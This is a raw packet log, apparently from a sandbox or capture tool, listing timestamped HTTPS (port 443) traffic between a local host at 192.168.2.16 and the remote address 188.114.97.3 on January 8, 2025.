Jan 8, 2025 15:45:41.747052908 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.747425079 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.747486115 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.747490883 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.747549057 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.781387091 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.781486034 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.781531096 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.781546116 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.781559944 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.781601906 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.781601906 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.781616926 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.781651974 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.781708002 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.781708956 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.781718969 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.781749010 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.781757116 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.781796932 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.781801939 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.782630920 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.782681942 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.782699108 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.782704115 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.782716990 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.782738924 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.782763004 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.782767057 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.782809973 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.783435106 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.783495903 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.783500910 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.783546925 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.783575058 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.783623934 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.783752918 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.783766031 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.786858082 CET	49884	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.786892891 CET	443	49884	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.786962986 CET	49884	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.787300110 CET	49884	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.787317038 CET	443	49884	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.813117981 CET	443	49879	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.813394070 CET	49879	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.813404083 CET	443	49879	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.814511061 CET	443	49879	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.814594984 CET	49879	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.814915895 CET	49879	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.814915895 CET	49879	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.814977884 CET	49879	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.815015078 CET	443	49879	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.815076113 CET	49879	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.815252066 CET	49885	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.815284967 CET	443	49885	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.815349102 CET	49885	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.815557957 CET	49885	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.815577030 CET	443	49885	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.835987091 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.836009979 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.836052895 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.836065054 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.836107969 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.836114883 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.836131096 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.836313009 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.836354017 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.836385965 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.836395979 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.836407900 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.836735010 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.836776018 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.836834908 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.836841106 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.836867094 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.836925983 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.836982012 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.836987019 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.837146044 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.837209940 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.837368965 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.837383986 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.840205908 CET	49886	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.840229988 CET	443	49886	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.840316057 CET	49886	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.840666056 CET	49886	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.840678930 CET	443	49886	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.871665001 CET	49887	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.871685982 CET	443	49887	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.871752977 CET	49887	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.872075081 CET	49887	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.872086048 CET	443	49887	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.890140057 CET	443	49880	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.890467882 CET	49880	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.890491009 CET	443	49880	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.891575098 CET	443	49880	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.891664028 CET	49880	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.892546892 CET	49880	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.892546892 CET	49880	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.892627001 CET	443	49880	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.892637968 CET	49880	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.892724037 CET	49880	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.892896891 CET	49888	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.892939091 CET	443	49888	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.893002987 CET	49888	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.893250942 CET	49888	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.893265963 CET	443	49888	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.894412994 CET	443	49882	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.894615889 CET	49882	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.894629002 CET	443	49882	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.895703077 CET	443	49882	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.895766020 CET	49882	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.896152973 CET	49882	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.896152973 CET	49882	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.896152973 CET	49882	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.896226883 CET	443	49882	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.896296024 CET	49882	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.896364927 CET	49889	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.896394014 CET	443	49889	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.896475077 CET	49889	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.896631002 CET	49889	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.896641016 CET	443	49889	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.936770916 CET	443	49883	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.936979055 CET	49883	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.937000990 CET	443	49883	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.937979937 CET	443	49883	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.938045025 CET	49883	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.938353062 CET	49883	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.938365936 CET	49883	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.938416004 CET	443	49883	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.938416958 CET	49883	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.938472033 CET	49883	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.938743114 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.938777924 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.938847065 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.939094067 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.939105034 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.257512093 CET	443	49884	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.257848978 CET	49884	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.257877111 CET	443	49884	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.259012938 CET	443	49884	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.259073973 CET	49884	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.259418964 CET	49884	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.259438992 CET	49884	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.259485006 CET	443	49884	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.259490967 CET	49884	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.259526014 CET	49884	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.259880066 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.259906054 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.259975910 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.260224104 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.260234118 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.276580095 CET	443	49885	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.276845932 CET	49885	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.276871920 CET	443	49885	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.277940035 CET	443	49885	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.278008938 CET	49885	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.278281927 CET	49885	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.278347015 CET	443	49885	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.278408051 CET	49885	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.278415918 CET	443	49885	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.314572096 CET	443	49886	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.314846992 CET	49886	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.314870119 CET	443	49886	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.316396952 CET	443	49886	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.316471100 CET	49886	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.316742897 CET	49886	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.316756010 CET	49886	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.316802979 CET	49886	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.316858053 CET	443	49886	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.316914082 CET	49886	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.317147017 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.317176104 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.317264080 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.317508936 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.317523003 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.321332932 CET	49885	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.344141960 CET	443	49887	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.344358921 CET	49887	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.344372988 CET	443	49887	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.345413923 CET	443	49887	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.345503092 CET	49887	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.345777988 CET	49887	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.345792055 CET	49887	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.345833063 CET	49887	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.345844984 CET	443	49887	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.345901966 CET	49887	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.346096039 CET	49894	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.346120119 CET	443	49894	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.346199036 CET	49894	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.346374989 CET	49894	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.346386909 CET	443	49894	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.348639965 CET	443	49888	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.348817110 CET	49888	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.348845005 CET	443	49888	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.349946022 CET	443	49888	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.350007057 CET	49888	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.350251913 CET	49888	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.350317001 CET	443	49888	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.350500107 CET	49888	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.350511074 CET	443	49888	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.352807045 CET	443	49889	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.352998972 CET	49889	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.353013039 CET	443	49889	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.354592085 CET	443	49889	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.354655981 CET	49889	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.354938030 CET	49889	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.355032921 CET	443	49889	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.355045080 CET	49889	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.386104107 CET	49895	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.386141062 CET	443	49895	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.386250973 CET	49895	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.386599064 CET	49895	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.386614084 CET	443	49895	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.399298906 CET	49888	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.399307966 CET	49889	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.399322033 CET	443	49889	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.402343035 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.402571917 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.402580976 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.403605938 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.403687000 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.403964043 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.404030085 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.404103994 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.404112101 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.422918081 CET	443	49885	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.422967911 CET	443	49885	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.423024893 CET	49885	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.423062086 CET	443	49885	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.423082113 CET	443	49885	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.423127890 CET	49885	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.423861027 CET	49885	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.423877954 CET	443	49885	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.446335077 CET	49889	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.446367025 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.496958971 CET	443	49888	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.497030020 CET	443	49888	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.497056007 CET	443	49888	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.497091055 CET	49888	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.497117996 CET	443	49888	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.497160912 CET	49888	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.497169018 CET	443	49888	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.497186899 CET	443	49888	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.497230053 CET	49888	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.497978926 CET	49888	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.497994900 CET	443	49888	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.500844002 CET	443	49889	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.500890970 CET	443	49889	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.500966072 CET	49889	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.500974894 CET	443	49889	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.500986099 CET	443	49889	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.501055002 CET	49889	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.501724005 CET	49889	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.501739979 CET	443	49889	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.531517029 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.531563997 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.531601906 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.531621933 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.531639099 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.531682014 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.531711102 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.531718016 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.531759977 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.531761885 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.531773090 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.531827927 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.531836033 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.532249928 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.532304049 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.532311916 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.572338104 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.572351933 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.619337082 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.622236967 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.622304916 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.622332096 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.622359991 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.622370958 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.622448921 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.622528076 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.622601032 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.622659922 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.622667074 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.622767925 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.622822046 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.622828007 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.623366117 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.623450994 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.623460054 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.623529911 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.623579979 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.623586893 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.624200106 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.624222040 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.624272108 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.624279022 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.624346018 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.624361038 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.624366999 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.624419928 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.625055075 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.625129938 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.625159979 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.625176907 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.625183105 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.625235081 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.625849962 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.667335033 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.667344093 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.710606098 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.710642099 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.710670948 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.710707903 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.710731030 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.710752010 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.710788012 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.710808992 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.711005926 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.711011887 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.711052895 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.711064100 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.711070061 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.711101055 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.711113930 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.711642981 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.711679935 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.711704969 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.711709976 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.711735964 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.711816072 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.711859941 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.712047100 CET	49891	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.712061882 CET	443	49891	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.719566107 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.719793081 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.719810009 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.720803976 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.720887899 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.721158028 CET	49892	443	192.168.2.16	188.114.97.3
